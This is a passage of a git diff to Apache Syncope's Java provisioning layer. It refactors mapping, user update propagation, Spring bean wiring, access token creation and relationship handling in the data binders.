JexlUtils.addDerAttrsToContext(any, derAttrHandler, jexlContext); - evalConnObjectLink = JexlUtils.evaluate(connObjectLink, jexlContext).toString(); + evalConnObjectLink = JexlUtils.evaluateExpr(connObjectLink, jexlContext).toString(); } return getName(evalConnObjectLink, connObjectKey); @@ -286,7 +279,7 @@ protected Name evaluateNAME(final Realm realm, final OrgUnit orgUnit, final Stri if (StringUtils.isNotBlank(connObjectLink)) { JexlContext jexlContext = new MapContext(); JexlUtils.addFieldsToContext(realm, jexlContext); - evalConnObjectLink = JexlUtils.evaluate(connObjectLink, jexlContext).toString(); + evalConnObjectLink = JexlUtils.evaluateExpr(connObjectLink, jexlContext).toString(); } return getName(evalConnObjectLink, connObjectKey); @@ -505,16 +498,14 @@ public Pair> prepareAttrsFromRealm(final Realm realm, fin protected String decodePassword(final Account account) { try { - return ENCRYPTOR.decode(account.getPassword(), account.getCipherAlgorithm()); + return Encryptor.getInstance().decode(account.getPassword(), account.getCipherAlgorithm()); } catch (Exception e) { LOG.error("Could not decode password for {}", account, e); return null; } } - protected String getPasswordAttrValue( - final ExternalResource resource, final Account account, final String defaultValue) { - + protected String getPasswordAttrValue(final Account account, final String defaultValue) { String passwordAttrValue; if (account instanceof LinkedAccount) { if (account.getPassword() != null) { @@ -532,10 +523,6 @@ protected String getPasswordAttrValue( } } - if (passwordAttrValue == null && resource.isRandomPwdIfNotProvided()) { - passwordAttrValue = passwordGenerator.generate(resource); - } - return passwordAttrValue; } @@ -587,16 +574,30 @@ public Pair prepareAttr( List objValues = new ArrayList<>(); for (PlainAttrValue value : values) { - if (FrameworkUtil.isSupportedAttributeType(schemaType.getType())) { - objValues.add(value.getValue()); + if (intAttrName.getSchema() instanceof PlainSchema && schemaType == AttrSchemaType.Encrypted) { + PlainSchema schema = (PlainSchema) intAttrName.getSchema(); + + String decoded = null; + try { + decoded = Encryptor.getInstance(schema.getSecretKey()). + decode(value.getStringValue(), schema.getCipherAlgorithm()); + } catch (Exception e) { + LOG.warn("Could not decode value for {} with algorithm", + intAttrName.getSchema(), schema.getCipherAlgorithm(), e); + } + objValues.add(Optional.ofNullable(decoded).orElse(value.getStringValue())); } else { - PlainSchema plainSchema = intAttrName.getSchema() instanceof PlainSchema - ? (PlainSchema) intAttrName.getSchema() - : null; - if (plainSchema == null || plainSchema.getType() != schemaType) { - objValues.add(value.getValueAsString(schemaType)); + if (FrameworkUtil.isSupportedAttributeType(schemaType.getType())) { + objValues.add(value.getValue()); } else { - objValues.add(value.getValueAsString(plainSchema)); + PlainSchema schema = intAttrName.getSchema() instanceof PlainSchema + ? (PlainSchema) intAttrName.getSchema() + : null; + if (schema == null || schema.getType() != schemaType) { + objValues.add(value.getValueAsString(schemaType)); + } else { + objValues.add(value.getValueAsString(schema)); + } } } } @@ -604,17 +605,26 @@ public Pair prepareAttr( if (item.isConnObjectKey()) { result = Pair.of(objValues.isEmpty() ? null : objValues.iterator().next().toString(), null); } else if (item.isPassword() && any instanceof User) { - String passwordAttrValue = - getPasswordAttrValue(resource, passwordAccountGetter.apply((User) any), password); + String passwordAttrValue = getPasswordAttrValue(passwordAccountGetter.apply((User) any), password); if (passwordAttrValue == null) { result = null; } else { result = Pair.of(null, AttributeBuilder.buildPassword(passwordAttrValue.toCharArray())); } } else { - result = Pair.of(null, objValues.isEmpty() - ? AttributeBuilder.build(item.getExtAttrName()) - : AttributeBuilder.build(item.getExtAttrName(), objValues)); + if (objValues.isEmpty()) { + result = Pair.of( + null, + AttributeBuilder.build(item.getExtAttrName())); + } else if (OperationalAttributes.PASSWORD_NAME.equals(item.getExtAttrName())) { + result = Pair.of( + null, + AttributeBuilder.buildPassword(objValues.iterator().next().toString().toCharArray())); + } else { + result = Pair.of( + null, + AttributeBuilder.build(item.getExtAttrName(), objValues)); + } } } @@ -673,7 +683,7 @@ public Pair> getIntValues( references.add(user); } } else if (intAttrName.getRelatedAnyObject() != null) { - AnyObject anyObject = anyObjectDAO.findByName(intAttrName.getRelatedAnyObject()); + AnyObject anyObject = anyObjectDAO.find(intAttrName.getRelatedAnyObject()); if (anyObject == null || groupableRelatable.getRelationships(anyObject.getKey()).isEmpty()) { LOG.warn("No relationship for {} in {}, ignoring", intAttrName.getRelatedAnyObject(), groupableRelatable); @@ -776,23 +786,23 @@ public Pair> getIntValues( default: try { - Object fieldValue = FieldUtils.readField(ref, intAttrName.getField(), true); - if (fieldValue instanceof TemporalAccessor) { - // needed because ConnId does not natively supports the Date type - attrValue.setStringValue(FormatUtils.format((TemporalAccessor) fieldValue)); - } else if (Boolean.TYPE.isInstance(fieldValue)) { - attrValue.setBooleanValue((Boolean) fieldValue); - } else if (Double.TYPE.isInstance(fieldValue) || Float.TYPE.isInstance(fieldValue)) { - attrValue.setDoubleValue((Double) fieldValue); - } else if (Long.TYPE.isInstance(fieldValue) || Integer.TYPE.isInstance(fieldValue)) { - attrValue.setLongValue((Long) fieldValue); - } else { - attrValue.setStringValue(fieldValue.toString()); + Object fieldValue = FieldUtils.readField(ref, intAttrName.getField(), true); + if (fieldValue instanceof TemporalAccessor) { + // needed because ConnId does not natively supports the Date type + attrValue.setStringValue(FormatUtils.format((TemporalAccessor) fieldValue)); + } else if (Boolean.TYPE.isInstance(fieldValue)) { + attrValue.setBooleanValue((Boolean) fieldValue); + } else if (Double.TYPE.isInstance(fieldValue) || Float.TYPE.isInstance(fieldValue)) { + attrValue.setDoubleValue((Double) fieldValue); + } else if (Long.TYPE.isInstance(fieldValue) || Integer.TYPE.isInstance(fieldValue)) { + attrValue.setLongValue((Long) fieldValue); + } else { + attrValue.setStringValue(fieldValue.toString()); + } + values.add(attrValue); + } catch (Exception e) { + LOG.error("Could not read value of '{}' from {}", intAttrName.getField(), ref, e); } - values.add(attrValue); - } catch (Exception e) { - LOG.error("Could not read value of '{}' from {}", intAttrName.getField(), ref, e); - } } } else if (intAttrName.getSchemaType() != null) { switch (intAttrName.getSchemaType()) { diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultUserProvisioningManager.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultUserProvisioningManager.java index 4382b3fbee8..cbca7df7cf0 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultUserProvisioningManager.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultUserProvisioningManager.java @@ -38,7 +38,6 @@ import org.apache.syncope.common.lib.types.ResourceOperation; import org.apache.syncope.common.lib.types.StatusRType; import org.apache.syncope.core.persistence.api.dao.UserDAO; -import org.apache.syncope.core.persistence.api.entity.user.User; import org.apache.syncope.core.provisioning.api.PropagationByResource; import org.apache.syncope.core.provisioning.api.UserProvisioningManager; import org.apache.syncope.core.provisioning.api.UserWorkflowResult; @@ -124,16 +123,15 @@ public Pair> update( AnyTypeKind.USER, userUR.getKey(), Optional.ofNullable(userUR.getPassword()).map(PasswordPatch::getValue).orElse(null), - userUR.getPassword() != null, + userUR.getPassword() == null ? List.of() : userUR.getPassword().getResources(), null, Set.of()); - UserWorkflowResult> updated = uwfAdapter.update(userUR, updater, context); + UserWorkflowResult> updated = uwfAdapter.update(userUR, null, updater, context); List taskInfos = propagationManager.setAttributeDeltas( propagationManager.getUserUpdateTasks(updated), - beforeAttrs, - updated.getResult().getLeft()); + beforeAttrs); PropagationReporter propagationReporter = taskExecutor.execute(taskInfos, nullPriorityAsync, updater); return Pair.of(updated.getResult().getLeft(), propagationReporter.getStatuses()); @@ -165,13 +163,13 @@ public Pair> update( AnyTypeKind.USER, userUR.getKey(), Optional.ofNullable(userUR.getPassword()).map(PasswordPatch::getValue).orElse(null), - userUR.getPassword() != null, + userUR.getPassword() == null ? List.of() : userUR.getPassword().getResources(), enabled, excludedResources); UserWorkflowResult> updated; try { - updated = uwfAdapter.update(userUR, updater, context); + updated = uwfAdapter.update(userUR, enabled, updater, context); } catch (Exception e) { LOG.error("Update of user {} failed, trying to pull its status anyway (if configured)", userUR.getKey(), e); @@ -186,34 +184,14 @@ public Pair> update( new HashSet<>()); } - if (enabled != null) { - User user = userDAO.find(userUR.getKey()); - - UserWorkflowResult enableUpdate = null; - if (user.isSuspended() == null) { - enableUpdate = uwfAdapter.activate(userUR.getKey(), null, updater, context); - } else if (enabled && user.isSuspended()) { - enableUpdate = uwfAdapter.reactivate(userUR.getKey(), updater, context); - } else if (!enabled && !user.isSuspended()) { - enableUpdate = uwfAdapter.suspend(userUR.getKey(), updater, context); - } - - if (enableUpdate != null) { - if (enableUpdate.getPropByRes() != null) { - updated.getPropByRes().merge(enableUpdate.getPropByRes()); - updated.getPropByRes().purge(); - } - updated.getPerformedTasks().addAll(enableUpdate.getPerformedTasks()); - } - } - List taskInfos = propagationManager.setAttributeDeltas( propagationManager.getUserUpdateTasks( updated, - updated.getResult().getLeft().getPassword() != null, + updated.getResult().getLeft().getPassword() != null + ? updated.getResult().getLeft().getPassword().getResources() + : List.of(), excludedResources), - beforeAttrs, - updated.getResult().getLeft()); + beforeAttrs); PropagationReporter propagationReporter = taskExecutor.execute(taskInfos, nullPriorityAsync, updater); return Pair.of(updated.getResult().getLeft(), propagationReporter.getStatuses()); @@ -263,13 +241,13 @@ public List delete( @Override public String unlink(final UserUR userUR, final String updater, final String context) { - UserWorkflowResult> updated = uwfAdapter.update(userUR, updater, context); + UserWorkflowResult> updated = uwfAdapter.update(userUR, null, updater, context); return updated.getResult().getLeft().getKey(); } @Override public String link(final UserUR userUR, final String updater, final String context) { - return uwfAdapter.update(userUR, updater, context).getResult().getLeft().getKey(); + return uwfAdapter.update(userUR, null, updater, context).getResult().getLeft().getKey(); } @Override @@ -311,9 +289,10 @@ protected List propagateStatus( PropagationByResource propByRes = new PropagationByResource<>(); propByRes.addAll(ResourceOperation.UPDATE, statusR.getResources()); List taskInfos = propagationManager.getUpdateTasks( + null, AnyTypeKind.USER, statusR.getKey(), - false, + List.of(), statusR.getType() != StatusRType.SUSPEND, propByRes, null, @@ -369,9 +348,10 @@ public List provision( propByRes.addAll(ResourceOperation.UPDATE, resources); UserWorkflowResult> wfResult = new UserWorkflowResult<>( - Pair.of(userUR, (Boolean) null), propByRes, null, "update"); + Pair.of(userUR, null), propByRes, null, "update"); - List taskInfos = propagationManager.getUserUpdateTasks(wfResult, changePwd, null); + List taskInfos = propagationManager.getUserUpdateTasks(wfResult, + userUR.getPassword() == null ? List.of() : userUR.getPassword().getResources(), null); PropagationReporter propagationReporter = taskExecutor.execute(taskInfos, nullPriorityAsync, executor); return propagationReporter.getStatuses(); diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/ProvisioningContext.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/ProvisioningContext.java index 24d3945af2e..0b44f799131 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/ProvisioningContext.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/ProvisioningContext.java @@ -23,7 +23,6 @@ import java.util.concurrent.Executor; import java.util.concurrent.Executors; import java.util.concurrent.ThreadPoolExecutor; -import javax.annotation.Resource; import javax.sql.DataSource; import org.apache.syncope.common.keymaster.client.api.ConfParamOps; import org.apache.syncope.core.persistence.api.DomainHolder; @@ -35,7 +34,6 @@ import org.apache.syncope.core.persistence.api.dao.AnyTypeClassDAO; import org.apache.syncope.core.persistence.api.dao.AnyTypeDAO; import org.apache.syncope.core.persistence.api.dao.ApplicationDAO; -import org.apache.syncope.core.persistence.api.dao.AttrRepoDAO; import org.apache.syncope.core.persistence.api.dao.AuditConfDAO; import org.apache.syncope.core.persistence.api.dao.AuthModuleDAO; import org.apache.syncope.core.persistence.api.dao.ConnInstanceDAO; @@ -56,7 +54,6 @@ import org.apache.syncope.core.persistence.api.dao.RelationshipTypeDAO; import org.apache.syncope.core.persistence.api.dao.ReportDAO; import org.apache.syncope.core.persistence.api.dao.ReportExecDAO; -import org.apache.syncope.core.persistence.api.dao.ReportTemplateDAO; import org.apache.syncope.core.persistence.api.dao.RoleDAO; import org.apache.syncope.core.persistence.api.dao.SecurityQuestionDAO; import org.apache.syncope.core.persistence.api.dao.TaskDAO; @@ -114,7 +111,6 @@ import org.apache.syncope.core.provisioning.api.data.WAConfigDataBinder; import org.apache.syncope.core.provisioning.api.data.wa.WAClientAppDataBinder; import org.apache.syncope.core.provisioning.api.job.JobManager; -import org.apache.syncope.core.provisioning.api.job.report.ReportJobDelegate; import org.apache.syncope.core.provisioning.api.notification.NotificationJobDelegate; import org.apache.syncope.core.provisioning.api.notification.NotificationManager; import org.apache.syncope.core.provisioning.api.propagation.PropagationManager; @@ -159,9 +155,8 @@ import org.apache.syncope.core.provisioning.java.job.SchedulerDBInit; import org.apache.syncope.core.provisioning.java.job.SyncopeSpringBeanJobFactory; import org.apache.syncope.core.provisioning.java.job.SystemLoadReporterJob; -import org.apache.syncope.core.provisioning.java.job.notification.DefaultNotificationJobDelegate; +import org.apache.syncope.core.provisioning.java.job.notification.MailNotificationJobDelegate; import org.apache.syncope.core.provisioning.java.job.notification.NotificationJob; -import org.apache.syncope.core.provisioning.java.job.report.DefaultReportJobDelegate; import org.apache.syncope.core.provisioning.java.notification.DefaultNotificationManager; import org.apache.syncope.core.provisioning.java.propagation.DefaultPropagationManager; import org.apache.syncope.core.provisioning.java.propagation.PriorityPropagationTaskExecutor; @@ -202,12 +197,6 @@ @Configuration(proxyBeanMethods = false) public class ProvisioningContext { - @Resource(name = "MasterDataSource") - private DataSource masterDataSource; - - @Resource(name = "MasterTransactionManager") - private PlatformTransactionManager masterTransactionManager; - @ConditionalOnMissingBean @Bean public AsyncConnectorFacade asyncConnectorFacade() { @@ -283,7 +272,11 @@ public ThreadPoolTaskExecutor propagationTaskExecutorAsyncExecutor(final Provisi } @Bean - public SchedulerDBInit quartzDataSourceInit(final ProvisioningProperties provisioningProperties) { + public SchedulerDBInit quartzDataSourceInit( + @Qualifier("MasterDataSource") + final DataSource masterDataSource, + final ProvisioningProperties props) { + SchedulerDBInit init = new SchedulerDBInit(); init.setDataSource(masterDataSource); @@ -291,7 +284,7 @@ public SchedulerDBInit quartzDataSourceInit(final ProvisioningProperties provisi databasePopulator.setContinueOnError(true); databasePopulator.setIgnoreFailedDrops(true); databasePopulator.setSqlScriptEncoding(StandardCharsets.UTF_8.name()); - databasePopulator.setScripts(new ClassPathResource("/quartz/" + provisioningProperties.getQuartz().getSql())); + databasePopulator.setScripts(new ClassPathResource("/quartz/" + props.getQuartz().getSql())); init.setDatabasePopulator(databasePopulator); return init; @@ -300,7 +293,14 @@ public SchedulerDBInit quartzDataSourceInit(final ProvisioningProperties provisi @DependsOn("quartzDataSourceInit") @Lazy(false) @Bean - public SchedulerFactoryBean scheduler(final ApplicationContext ctx, final ProvisioningProperties props) { + public SchedulerFactoryBean scheduler( + @Qualifier("MasterDataSource") + final DataSource masterDataSource, + @Qualifier("MasterTransactionManager") + final PlatformTransactionManager masterTransactionManager, + final ProvisioningProperties props, + final ApplicationContext ctx) { + SchedulerFactoryBean scheduler = new SchedulerFactoryBean(); scheduler.setAutoStartup(true); scheduler.setApplicationContext(ctx); @@ -338,7 +338,7 @@ public SchedulerFactoryBean scheduler(final ApplicationContext ctx, final Provis @ConditionalOnMissingBean @Bean public JobManager jobManager( - final ProvisioningProperties provisioningProperties, + final ProvisioningProperties props, final DomainHolder domainHolder, final SecurityProperties securityProperties, final SchedulerFactoryBean scheduler, @@ -357,7 +357,7 @@ public JobManager jobManager( taskUtilsFactory, confParamOps, securityProperties); - jobManager.setDisableQuartzInstance(provisioningProperties.getQuartz().isDisableInstance()); + jobManager.setDisableQuartzInstance(props.getQuartz().isDisableInstance()); return jobManager; } @@ -451,7 +451,6 @@ public VirAttrHandler virAttrHandler( @ConditionalOnMissingBean @Bean public MappingManager mappingManager( - final PasswordGenerator passwordGenerator, final AnyUtilsFactory anyUtilsFactory, final AnyTypeDAO anyTypeDAO, final UserDAO userDAO, @@ -478,7 +477,6 @@ public MappingManager mappingManager( derAttrHandler, virAttrHandler, virAttrCache, - passwordGenerator, anyUtilsFactory, intAttrNameParser); } @@ -533,8 +531,8 @@ public PropagationManager propagationManager( @ConditionalOnMissingBean @Bean - public ConnIdBundleManager connIdBundleManager(final ProvisioningProperties provisioningProperties) { - return new DefaultConnIdBundleManager(provisioningProperties.getConnIdLocation()); + public ConnIdBundleManager connIdBundleManager(final ProvisioningProperties props) { + return new DefaultConnIdBundleManager(props.getConnIdLocation()); } @ConditionalOnMissingBean @@ -557,9 +555,6 @@ public PropagationTaskExecutor propagationTaskExecutor( final AnyUtilsFactory anyUtilsFactory, final ConnectorManager connectorManager, final ConnObjectUtils connObjectUtils, - final UserDAO userDAO, - final GroupDAO groupDAO, - final AnyObjectDAO anyObjectDAO, final TaskDAO taskDAO, final ExternalResourceDAO resourceDAO, final PlainSchemaDAO plainSchemaDAO, @@ -567,14 +562,12 @@ public PropagationTaskExecutor propagationTaskExecutor( final AuditManager auditManager, final TaskDataBinder taskDataBinder, final OutboundMatcher outboundMatcher, - final PlainAttrValidationManager validator) { + final PlainAttrValidationManager validator, + final ApplicationEventPublisher publisher) { return new PriorityPropagationTaskExecutor( connectorManager, connObjectUtils, - userDAO, - groupDAO, - anyObjectDAO, taskDAO, resourceDAO, plainSchemaDAO, @@ -585,6 +578,7 @@ public PropagationTaskExecutor propagationTaskExecutor( taskUtilsFactory, outboundMatcher, validator, + publisher, propagationTaskExecutorAsyncExecutor); } @@ -643,9 +637,9 @@ public AnyObjectProvisioningManager anyObjectProvisioningManager( @ConditionalOnMissingBean @Bean - public VirAttrCache virAttrCache(final ProvisioningProperties provisioningProperties) { + public VirAttrCache virAttrCache(final ProvisioningProperties props) { VirAttrCache virAttrCache = new CaffeineVirAttrCache(); - virAttrCache.setCacheSpec(provisioningProperties.getVirAttrCacheSpec()); + virAttrCache.setCacheSpec(props.getVirAttrCacheSpec()); return virAttrCache; } @@ -709,18 +703,18 @@ public SystemLoadReporterJob systemLoadReporterJob(final ApplicationContext ctx) public NotificationJobDelegate notificationJobDelegate( final TaskUtilsFactory taskUtilsFactory, final TaskDAO taskDAO, - final JavaMailSender mailSender, final AuditManager auditManager, final NotificationManager notificationManager, - final ApplicationEventPublisher publisher) { + final ApplicationEventPublisher publisher, + final JavaMailSender mailSender) { - return new DefaultNotificationJobDelegate( + return new MailNotificationJobDelegate( taskDAO, - mailSender, taskUtilsFactory, auditManager, notificationManager, - publisher); + publisher, + mailSender); } @ConditionalOnMissingBean @@ -733,18 +727,6 @@ public NotificationJob notificationJob( return new NotificationJob(securityProperties, domainHolder, delegate); } - @ConditionalOnMissingBean - @Bean - public ReportJobDelegate reportJobDelegate( - final ReportDAO reportDAO, - final ReportExecDAO reportExecDAO, - final EntityFactory entityFactory, - final ReportDataBinder reportDataBinder, - final ApplicationEventPublisher publisher) { - - return new DefaultReportJobDelegate(reportDAO, reportExecDAO, entityFactory, reportDataBinder, publisher); - } - @ConditionalOnMissingBean @Bean public AccessTokenDataBinder accessTokenDataBinder( @@ -1046,12 +1028,11 @@ public RemediationDataBinder remediationDataBinder() { @ConditionalOnMissingBean @Bean public ReportDataBinder reportDataBinder( - final ReportTemplateDAO reportTemplateDAO, final ReportExecDAO reportExecDAO, final ImplementationDAO implementationDAO, final SchedulerFactoryBean scheduler) { - return new ReportDataBinderImpl(reportTemplateDAO, reportExecDAO, implementationDAO, scheduler); + return new ReportDataBinderImpl(reportExecDAO, implementationDAO, scheduler); } @ConditionalOnMissingBean @@ -1240,10 +1221,12 @@ public WAClientAppDataBinder waClientAppDataBinder( final ClientAppDataBinder clientAppDataBinder, final PolicyDataBinder policyDataBinder, final AuthModuleDataBinder authModuleDataBinder, - final AuthModuleDAO authModuleDAO, - final AttrRepoDAO attrRepoDAO) { + final AuthModuleDAO authModuleDAO) { return new WAClientAppDataBinderImpl( - clientAppDataBinder, policyDataBinder, authModuleDataBinder, authModuleDAO, attrRepoDAO); + clientAppDataBinder, + policyDataBinder, + authModuleDataBinder, + authModuleDAO); } } diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/AbstractAnyDataBinder.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/AbstractAnyDataBinder.java index c8a89310f87..fb2b6e2d8d8 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/AbstractAnyDataBinder.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/AbstractAnyDataBinder.java @@ -76,6 +76,7 @@ import org.apache.syncope.core.persistence.api.entity.Realm; import org.apache.syncope.core.persistence.api.entity.VirSchema; import org.apache.syncope.core.persistence.api.entity.anyobject.AnyObject; +import org.apache.syncope.core.persistence.api.entity.user.User; import org.apache.syncope.core.provisioning.api.AccountGetter; import org.apache.syncope.core.provisioning.api.DerAttrHandler; import org.apache.syncope.core.provisioning.api.IntAttrName; @@ -195,7 +196,7 @@ protected Map onResources( final Any any, final Collection resources, final String password, - final boolean changePwd) { + final Set changePwdRes) { Map onResources = new HashMap<>(); @@ -204,7 +205,7 @@ protected Map onResources( ifPresent(provision -> MappingUtils.getConnObjectKeyItem(provision).ifPresent(keyItem -> { Pair> prepared = mappingManager.prepareAttrsFromAny( - any, password, changePwd, true, resource, provision); + any, password, changePwdRes.contains(resource.getKey()), true, resource, provision); ConnObject connObjectTO; if (StringUtils.isBlank(prepared.getLeft())) { @@ -463,8 +464,7 @@ protected void fill( SyncopeClientException invalidValues = SyncopeClientException.build(ClientExceptionType.InvalidValues); // 3. plain attributes - anyUR.getPlainAttrs().stream(). - filter(patch -> patch.getAttr() != null).forEach(patch -> { + anyUR.getPlainAttrs().stream().filter(patch -> patch.getAttr() != null).forEach(patch -> { PlainSchema schema = getPlainSchema(patch.getAttr().getSchema()); if (schema == null) { LOG.debug("Invalid " + PlainSchema.class.getSimpleName() + " {}, ignoring...", @@ -657,9 +657,16 @@ protected static void fillTO( anyTO.getResources().addAll(resources.stream().map(ExternalResource::getKey).collect(Collectors.toSet())); } - protected static RelationshipTO getRelationshipTO(final String relationshipType, final AnyObject otherEnd) { - return new RelationshipTO.Builder(). - type(relationshipType).otherEnd(otherEnd.getType().getKey(), otherEnd.getKey(), otherEnd.getName()). + protected static RelationshipTO getRelationshipTO( + final String relationshipType, + final RelationshipTO.End end, + final Any otherEnd) { + return new RelationshipTO.Builder(relationshipType, end). + otherEnd(otherEnd.getType().getKey(), + otherEnd.getKey(), + otherEnd instanceof User + ? ((User) otherEnd).getUsername() + : ((AnyObject) otherEnd).getName()). build(); } diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/AccessTokenDataBinderImpl.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/AccessTokenDataBinderImpl.java index 053b4ffb0fa..c1503c5a8eb 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/AccessTokenDataBinderImpl.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/AccessTokenDataBinderImpl.java @@ -26,6 +26,7 @@ import java.time.OffsetDateTime; import java.util.Date; import java.util.Map; +import java.util.Optional; import org.apache.commons.lang3.tuple.Pair; import org.apache.syncope.common.keymaster.client.api.ConfParamOps; import org.apache.syncope.common.lib.SyncopeClientException; @@ -130,6 +131,7 @@ private AccessToken replace( @Override public Pair create( + final Optional key, final String subject, final Map claims, final byte[] authorities, @@ -139,7 +141,7 @@ public Pair create( if (accessToken == null) { // no AccessToken found: create new accessToken = entityFactory.newEntity(AccessToken.class); - accessToken.setKey(SecureRandomUtils.generateRandomUUID().toString()); + accessToken.setKey(key.orElseGet(() -> SecureRandomUtils.generateRandomUUID().toString())); accessToken = replace(subject, claims, authorities, accessToken); } else if (replace diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/AnyObjectDataBinderImpl.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/AnyObjectDataBinderImpl.java index 643f2e7c199..36a47406f7d 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/AnyObjectDataBinderImpl.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/AnyObjectDataBinderImpl.java @@ -35,6 +35,7 @@ import org.apache.syncope.common.lib.to.AnyObjectTO; import org.apache.syncope.common.lib.to.ConnObject; import org.apache.syncope.common.lib.to.MembershipTO; +import org.apache.syncope.common.lib.to.RelationshipTO; import org.apache.syncope.common.lib.types.AnyTypeKind; import org.apache.syncope.common.lib.types.ClientExceptionType; import org.apache.syncope.common.lib.types.PatchOperation; @@ -161,8 +162,11 @@ public AnyObjectTO getAnyObjectTO(final AnyObject anyObject, final boolean detai map(relationship -> getRelationshipTO( relationship.getType().getKey(), relationship.getLeftEnd().getKey().equals(anyObject.getKey()) + ? RelationshipTO.End.LEFT + : RelationshipTO.End.RIGHT, + relationship.getLeftEnd().getKey().equals(anyObject.getKey()) ? relationship.getRightEnd() - : anyObject)). + : relationship.getLeftEnd())). collect(Collectors.toList())); // memberships @@ -229,17 +233,21 @@ public void create(final AnyObject anyObject, final AnyObjectCR anyObjectCR) { } else { AnyObject otherEnd = anyObjectDAO.find(relationshipTO.getOtherEndKey()); if (otherEnd == null) { - LOG.debug("Ignoring invalid anyObject " + relationshipTO.getOtherEndKey()); + LOG.debug("Ignoring invalid anyObject {}", relationshipTO.getOtherEndKey()); + } else if (relationshipTO.getEnd() == RelationshipTO.End.RIGHT) { + SyncopeClientException noRight = + SyncopeClientException.build(ClientExceptionType.InvalidRelationship); + noRight.getElements().add( + "Relationships shall be created or updated only from their left end"); + scce.addException(noRight); } else if (relationships.contains(Pair.of(otherEnd.getKey(), relationshipTO.getType()))) { - LOG.error("{} was already in relationship {} with {}", - otherEnd, relationshipTO.getType(), anyObject); - SyncopeClientException assigned = SyncopeClientException.build(ClientExceptionType.InvalidRelationship); - assigned.getElements().add(otherEnd.getType().getKey() + " " + otherEnd.getName() - + " in relationship " + relationshipTO.getType()); + assigned.getElements().add("AnyObject was already in relationship " + + relationshipTO.getType() + " with " + + otherEnd.getType().getKey() + " " + otherEnd.getName()); scce.addException(assigned); - } else if (anyObject.getRealm().getFullPath().startsWith(otherEnd.getRealm().getFullPath())) { + } else { relationships.add(Pair.of(otherEnd.getKey(), relationshipTO.getType())); RelationshipType relationshipType = relationshipTypeDAO.find(relationshipTO.getType()); @@ -253,14 +261,6 @@ public void create(final AnyObject anyObject, final AnyObjectCR anyObjectCR) { anyObject.add(relationship); } - } else { - LOG.error("{} cannot be related to {}", otherEnd, anyObject); - - SyncopeClientException unrelatable = - SyncopeClientException.build(ClientExceptionType.InvalidRelationship); - unrelatable.getElements().add(otherEnd.getType().getKey() + " " + otherEnd.getName() - + " cannot be related"); - scce.addException(unrelatable); } } }); @@ -281,7 +281,7 @@ public void create(final AnyObject anyObject, final AnyObjectCR anyObjectCR) { SyncopeClientException.build(ClientExceptionType.InvalidMembership); assigned.getElements().add("Group " + group.getName() + " was already assigned"); scce.addException(assigned); - } else if (anyObject.getRealm().getFullPath().startsWith(group.getRealm().getFullPath())) { + } else { groups.add(group.getKey()); AMembership membership = entityFactory.newEntity(AMembership.class); @@ -292,13 +292,6 @@ public void create(final AnyObject anyObject, final AnyObjectCR anyObjectCR) { // membership attributes fill(anyObject, membership, membershipTO, anyUtilsFactory.getInstance(AnyTypeKind.ANY_OBJECT), scce); - } else { - LOG.error("{} cannot be assigned to {}", group, anyObject); - - SyncopeClientException unassignable = - SyncopeClientException.build(ClientExceptionType.InvalidMembership); - unassignable.getElements().add("Group " + group.getName() + " cannot be assigned"); - scce.addException(unassignable); } }); @@ -320,7 +313,7 @@ public PropagationByResource update(final AnyObject toBeUpdated, final A // Save projection on Resources (before update) Map beforeOnResources = - onResources(anyObject, anyObjectDAO.findAllResourceKeys(anyObject.getKey()), null, false); + onResources(anyObject, anyObjectDAO.findAllResourceKeys(anyObject.getKey()), null, Set.of()); SyncopeClientCompositeException scce = SyncopeClientException.buildComposite(); @@ -366,19 +359,22 @@ public PropagationByResource update(final AnyObject toBeUpdated, final A AnyObject otherEnd = anyObjectDAO.find(patch.getRelationshipTO().getOtherEndKey()); if (otherEnd == null) { LOG.debug("Ignoring invalid any object {}", patch.getRelationshipTO().getOtherEndKey()); + } else if (patch.getRelationshipTO().getEnd() == RelationshipTO.End.RIGHT) { + SyncopeClientException noRight = + SyncopeClientException.build(ClientExceptionType.InvalidRelationship); + noRight.getElements().add( + "Relationships shall be created or updated only from their left end"); + scce.addException(noRight); } else if (relationships.contains( Pair.of(otherEnd.getKey(), patch.getRelationshipTO().getType()))) { - LOG.error("{} was already in relationship {} with {}", - anyObject, patch.getRelationshipTO().getType(), otherEnd); - SyncopeClientException assigned = SyncopeClientException.build(ClientExceptionType.InvalidRelationship); assigned.getElements().add("AnyObject was already in relationship " + patch.getRelationshipTO().getType() + " with " + otherEnd.getType().getKey() + " " + otherEnd.getName()); scce.addException(assigned); - } else if (anyObject.getRealm().getFullPath().startsWith(otherEnd.getRealm().getFullPath())) { + } else { relationships.add(Pair.of(otherEnd.getKey(), patch.getRelationshipTO().getType())); ARelationship newRelationship = entityFactory.newEntity(ARelationship.class); @@ -387,14 +383,6 @@ public PropagationByResource update(final AnyObject toBeUpdated, final A newRelationship.setLeftEnd(anyObject); anyObject.add(newRelationship); - } else { - LOG.error("{} cannot be related to {}", otherEnd, anyObject); - - SyncopeClientException unrelatable = - SyncopeClientException.build(ClientExceptionType.InvalidRelationship); - unrelatable.getElements().add(otherEnd.getType().getKey() + " " + otherEnd.getName() - + " cannot be related"); - 